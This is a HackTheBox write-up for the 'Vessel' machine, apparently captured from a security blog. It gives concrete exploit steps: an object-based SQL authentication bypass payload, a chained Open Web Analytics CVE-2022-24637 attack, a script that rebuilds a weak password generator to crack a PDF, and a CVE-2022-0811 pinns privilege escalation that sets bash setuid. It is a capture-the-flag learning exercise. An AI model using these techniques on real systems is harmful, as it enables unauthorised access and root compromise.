hacktrickz.xyz Open in urlscan Pro
164.92.240.80  Public Scan

URL: https://hacktrickz.xyz/hackthebox-writeup-vessel/
Submission: On May 12 via api from US — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

hacktrickz.xyz :: blog
 * home
 * writeups
 * whoami
 * contact


By snow in hackthebox — Sep 9, 2022


HACKTHEBOX WRITEUP: VESSEL

Writeup for the HTB machine "Vessel" by 0xM4hm0ud.


ENUMERATION VIA NMAP

There are 2 open services:

 * port 22: OpenSSH
 * port 80: Apache web server

Browse the web application and get familiar with it:

At first glance the website offers 3 functionalities:

 * login as existing user
 * registration ("currently not available")
 * password reset ("currently not available")

Since we have no valid credentials, we quickly move on. We could try some basic
SQL bypass techniques, but other than that nothing of interest here.  

Intercepting some requests via BurpSuite, we find out that the website is
powered by Express ("X-Powered-By: Express").


ENUMERATE DIRECTORIES AND FILES

There is one directory that sticks out: /dev/

Usually developers use some sort of version control system like git to manage
their projects. Oddly enough, we didn't find the .git folder via gobuster, nor
wfuzz.

Nonetheless, we tried to recursively enumerate directory by assuming there is
one – and we got some results back:

Let's take a look at the Git index file (also known as Git cache), it stores the
current state of the stage area.

Dump the index with gin:

Luckily, there is another tool called git-dumper that can dump the entire .git
folder, instead of doing it manually:

GitHub - arthaud/git-dumper: A tool to dump a git repository from a website
A tool to dump a git repository from a website. Contribute to arthaud/git-dumper
development by creating an account on GitHub.
GitHubarthaud



NODE.JS SQL INJECTION – OBJECT INSTEAD STRING

Now we can view the source files and take a look at the authentication method
used for the login logic.

At the first glance it does not seem vulnerable.

If you take a look at the git logs and commit history, you see that the
developer fixed a security issue related to the SQL query.

But after some time researching Node.js SQL injections, I stumbled upon this
article:

Node.js SQL Injection Guide: Examples and Prevention
Learn about what Node.js SQL injection is, what a SQL injection attack looks
like, and measures to prevent them.
StackHawk


The attacker can submit input that gets treated as an Object instead of a String
value, which allows for authentication bypass.

Change the initial POST body of the login endpoint to:

username=admin&password[password]=1

the password field gets evaluted as an Object 

and we get authenticated as admin and have access to the panel.


OPEN WEB ANALYTICS

The dashboard reveals the subdomain openwebanalytics.vessel.htb:

Searchsploit results didn't show anything interesting here, but we found a more
recent CVE-2022-24637.

The exploit consists of two vulnerabilities, which allow RCE when chained
together.

 * a single quote / double quote confusion, which leads to information
   disclosure
 * a PHP file write, where the logfile path and log level can be changed by a
   manual POST request. The logfile can be set to a PHP file and an attacker can
   inject PHP code into this logfile by increasing the log level + generating an
   event with attacker controlled data

> From Single / Double Quote Confusion To RCE (CVE-2022-24637)

Note:
Make sure you read the blog post a couple times, so you have a better
understanding of what is happening. It's gonna become quite complex.


I. RCE - PART ONE

The vulnerable code can be found here:

GitHub - Open-Web-Analytics/Open-Web-Analytics at 1.7.3
Official repository for Open Web Analytics which is an open source alternative
to commercial tools such as Google Analytics. Stay in control of the data you
collect about the use of your website or...
GitHubOpen-Web-Analytics


The code in fileCache.php is responsible for generating a cache file, which is
then stored at /owa-data/caches/1/.

The cache file gets generated by using the id of the first user, like so:

md5(id1) -> fafe1b60c24107ccd8f4562213e44849

We can find a valid user / email, by using the password reset form.

http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm

We get an error message for ethan@vessel.htb, but admin@vessel.htb is a valid
email.

A failed login attempt generates a cache under:

http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/

The cache can now be access at:

http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php

Curl the file to our local machine, base64 decode it and analyze it.

We notice the temp_passkey mentioned in the blog post, which can now be
submitted via the base.usersChangePassword action to change the password of
"admin".

http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword

Remove the hidden property of the owa_k field, input the passkey and you should
be able to change the password.

The first part of the RCE is done. We can now login as admin and access the OWA
panel. This leads us to the second part of the exploit...


II. RCE - PART TWO

There is a suitable Proof of Concept on Github for the CVE.

A.) THE EASY WAY

GitHub - Lay0us1/CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA)
1.7.3
Unauthenticated RCE in Open Web Analytics (OWA) 1.7.3 - GitHub -
Lay0us1/CVE-2022-24637: Unauthenticated RCE in Open Web Analytics (OWA) 1.7.3
GitHubLay0us1


The foothold on the machine is established, we now operate as www-data.

B.) THE HARD WAY

** to be updated **


POST EXPLOITATION: USER


PASSWORDGENERATOR - GENERATE A PASSWORD LIST FOR NOTES.PDF

Once we get foothold on the machine, we notice some files in steven's home
directory:

 * passwordGenerator: a PE32 executable for MS Windows (compiled using
   pyinstaller)
 * a hidden notes folder containing: notes.pdf and screenshot.png

The pdf file is password protected and the screenshot.png shows the password
complexity that is used to generate the password.

Decompile the executable using pyinstxtractor to get a .pyc file that cointains
the byte code.

Then, use uncompyle6 to decompile passwordGenerator.pyc.

The code reveals the password generator logic. We have 32**128 possible
combinations, but due to Qt's random number generator implementation we can
generate a suitable wordlist.

Copy the genPassword code and modify it by creating a while loop to construct
passwords of the length 32.

from PySide2.QtCore import *


def genPassword():
    length = 32
    char = 0
    if char == 0:
        charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
    else:
        if char == 1:
            charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
        else:
            if char == 2:
                charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
            else:
                pass
    try:
        qsrand(QTime.currentTime().msec())
        password = ''
        for i in range(length):
            idx = qrand() % len(charset)
            nchar = charset[idx]
            password += str(nchar)
    except:
        print('error')
    return password


def gen_possible_passes():
    passes = []
    try:
        while True:
            ps = genPassword()
            if ps not in passes:
                passes.append(ps)
                # print(ps)
                print(len(passes))
    except KeyboardInterrupt:
        with open('pass.txt', 'w') as ofile:
            for p in passes:
                ofile.write(p + '\n')


gen_possible_passes()

The generated wordlist pass.txt can now be used with pdfcrack to read the
content of notes.pdf.

pdfcrack -f notes.pdf -w ~/hackthebox/vessel/passwordGenerator_extracted/pass.txt

YG7Q7RDzA+q&ke~MJ8!y**********

found user-password: 'YG7Q7RDzA+q&ke~MJ8!********'

Open notes.pdf...

...get the password for ethan and SSH into the machine to grab the user.txt
flag.


POST EXPLOITATION: ROOT

As usual, we get a execute linpeas.sh on the target machine and analyze its
output:

There is a file /usr/bin/pinns, which is owned by root and can be read by our
current user ethan.

After some time on Google, we find this blog post:

cr8escape: New Vulnerability in CRI-O Container Engine (CVE-2022-0811)
Learn how CrowdStrike discovered a new vulnerability in the CRI-O Container
Engine (CVE-2022-0811), and what organizations can do to remediate this
vulnerability.
crowdstrike.comJohn Walker - Manoj Ahuje



PROOF OF CONCEPT:

 1. Create a directory /tmp/foo and cd into the directory, there run these
    commands:

runc spec --rootless
mkdir rootfs
vi config.json

Hint: There are scripts that keep deleting stuff in various directories. (see
pspy64 output)

2. In the "mounts" section of config.json append the following entry:

{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

3. In the previously created /tmp/foo/ directory, run:

runc --root /tmp/foo run alpine

We're now inside a read-only container.

4. In another SSH session, create a bar.sh script , which sets the setuid bit of
/usr/bin/bash.

echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/foo/bar.sh && chmod +x /tmp/foo/bar.sh

5. Now use pinns to assign the kernel.core_pattern a value, so once the core
dump occurs, it executes our malicious script.

pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/foo/bar.sh #' --ipc --net --uts --cgroup

6. Trigger a core dump in the read-only container.

# ulimit -c unlimited
# tail -f /dev/null &
# ps
# bash -i
# kill -SIGSEGV $num
# ps

7. Check if the setuid bit has been set to /usr/bin/bash, then gain effective
root.

bash -p

Yay! We finally rooted the machine!


CONCLUSION

This machine has been a great experience. From the initial enumeration, where we
found the .git directory, that we dumped to gain access to source code files.
The authentication check for the login endpoint was bypassed by submitting a
Object instead of a String.
The Open Web Analytics instance that was hosted on another subdomain was
vulnerable to a recent CVE – we had to chain two vulnerablities to get code
execution and the initial foothold to the machine. The post exploitation phase
for the user was easy if you know your tools to decompile executables created by
PyInstaller. The trickest part of the box was the way to root, where we had to
abuse pinns functionality to execute our malicious script allowed the attacker
to gain effective root.

Previous

HACKTHEBOX WRITEUP: UPDOWN

Next

HACKTHEBOX WRITEUP: SEVENTEEN


YOU MIGHT ALSO LIKE...

hackthebox


HACKTHEBOX WRITEUP: POLLUTION

NMAP SCAN The nmap scan reveals a Debian machine with 3 open
Read More

hackthebox


HACKTHEBOX WRITEUP: MODERATORS

Writeup for HTB machine "moderators" by kavigihan
Read More

hackthebox


HACKTHEBOX WRITEUP: CARPEDIEM

Writeup for "Carpediem" HackTheBox machine by TheCyberGeek and d4rkpayl0ad.
Read More

hackthebox


HACKTHEBOX WRITEUP: AMBASSADOR

Detailed writeup for 'Ambassador' machine from HackTheBox by DirectRoot.
Read More

hacktrickz.xyz :: blog © 2023
 * contact
 * blog

Powered by Ghost